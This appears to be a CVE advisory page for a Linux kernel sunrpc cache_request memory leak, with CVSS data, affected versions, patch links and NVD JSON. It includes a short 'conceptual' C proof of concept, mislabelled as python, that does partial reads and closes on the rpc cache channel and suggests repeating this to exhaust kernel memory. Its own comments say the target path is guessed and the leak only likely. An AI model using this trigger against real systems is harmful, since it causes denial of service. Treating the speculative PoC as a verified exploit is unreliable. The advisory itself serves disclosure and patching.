CVE-2026-31400

Description

In the Linux kernel, the following vulnerability has been resolved: sunrpc: fix cache_request leak in cache_release When a reader's file descriptor is closed while in the middle of reading a cache_request (rp->offset != 0), cache_release() decrements the request's readers count but never checks whether it should free the request. In cache_read(), when readers drops to 0 and CACHE_PENDING is clear, the cache_request is removed from the queue and freed along with its buffer and cache_head reference. cache_release() lacks this cleanup. The only other path that frees requests with readers == 0 is cache_dequeue(), but it runs only when CACHE_PENDING transitions from set to clear. If that transition already happened while readers was still non-zero, cache_dequeue() will have skipped the request, and no subsequent call will clean it up. Add the same cleanup logic from cache_read() to cache_release(): after decrementing readers, check if it reached 0 with CACHE_PENDING clear, and if so, dequeue and free the cache_request.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (受影响版本需参考Git提交记录)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Conceptual PoC for CVE-2026-31400
// Requires local access to the system to trigger the sunrpc cache interface.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

// Note: Actual path depends on kernel configuration and sunrpc usage
#define RPC_CACHE_FILE "/proc/net/rpc/cache/channel" 

int main() {
    int fd;
    char buffer[1024];
    ssize_t bytesRead;

    printf("Starting PoC for CVE-2026-31400...\n");

    // Step 1: Open the sunrpc cache channel
    fd = open(RPC_CACHE_FILE, O_RDONLY);
    if (fd < 0) {
        perror("Failed to open cache file (may not exist or need root)");
        return 1;
    }

    // Step 2: Initiate a read to set rp->offset != 0
    // Reading a small amount to simulate a partial read operation
    bytesRead = read(fd, buffer, 10);
    
    if (bytesRead > 0) {
        printf("Read %zd bytes, offset is now non-zero.\n", bytesRead);
    }

    // Step 3: Close the file descriptor while offset is non-zero
    // This triggers cache_release() which lacks the cleanup logic for this state
    close(fd);

    printf("File descriptor closed. Memory leak likely occurred.\n");
    printf("Repeat this process to exhaust kernel memory (DoS).\n");

    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31400
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31400
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31400/
[4] VulDB https://vuldb.com/cve/CVE-2026-31400
[5] https://git.kernel.org/stable/c/17ad31b3a43b72aec3a3d83605891e1397d0d065
[6] https://git.kernel.org/stable/c/1dfedb293943e491379c9302b428e6f920a73d12
[7] https://git.kernel.org/stable/c/301670dcd098c1fe5c2fe90fb3c7a8f4814d2351
[8] https://git.kernel.org/stable/c/373457de14281c1fc7cace6fc4c8a267fc176673
[9] https://git.kernel.org/stable/c/41f6ba6c98a618043d2cd71030bf9a752dfab8b2
[10] https://git.kernel.org/stable/c/7bcd5e318876ac638c8ceade7a648e76ac8c48e1
[11] https://git.kernel.org/stable/c/be5c35960e5ead70862736161836e2d1bc7352dc
[12] https://git.kernel.org/stable/c/f18c1f2a88ca91357916997cdb0f7adaf14fc497

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31400", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-03T16:16:38.623", "lastModified": "2026-05-20T12:31:31.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsunrpc: fix cache_request leak in cache_release\n\nWhen a reader's file descriptor is closed while in the middle of reading\na cache_request (rp->offset != 0), cache_release() decrements the\nrequest's readers count but never checks whether it should free the\nrequest.\n\nIn cache_read(), when readers drops to 0 and CACHE_PENDING is clear, the\ncache_request is removed from the queue and freed along with its buffer\nand cache_head reference. cache_release() lacks this cleanup.\n\nThe only other path that frees requests with readers == 0 is\ncache_dequeue(), but it runs only when CACHE_PENDING transitions from\nset to clear. If that transition already happened while readers was\nstill non-zero, cache_dequeue() will have skipped the request, and no\nsubsequent call will clean it up.\n\nAdd the same cleanup logic from cache_read() to cache_release(): after\ndecrementing readers, check if it reached 0 with CACHE_PENDING clear,\nand if so, dequeue and free the cache_request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.12.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "5F0E43E1-33E5-4828-9B4A-F710AF2E7217"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E5571059-6552-48E7-9BEF-3E358C387171"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:-:*:*:*:*:*:*", "matchCriteriaId": "6F62EECE-8FB1-4D57-85D8-CB9E23CF313C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc2:*:*:*:*:*:*", "matchCriteriaId": "4F76C298-81DC-43E4-8FC9-DC005A2116EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc3:*:*:*:*:*:*", "matchCriteriaId": "0AB349B2-3F78-4197-882B-90ADB3BF645A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc4:*:*:*:*:*:*", "matchCriteriaId": "6AC88830-A9BC-4607-B572-A4B502FC9FD0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc5:*:*:*:*:*:*", "matchCriteriaId": "476CB3A5-D022-4F13-AAEF-CB6A5785516A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/17ad31b3a43b72aec3a3d83605891e1397d0d065", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1dfedb ... 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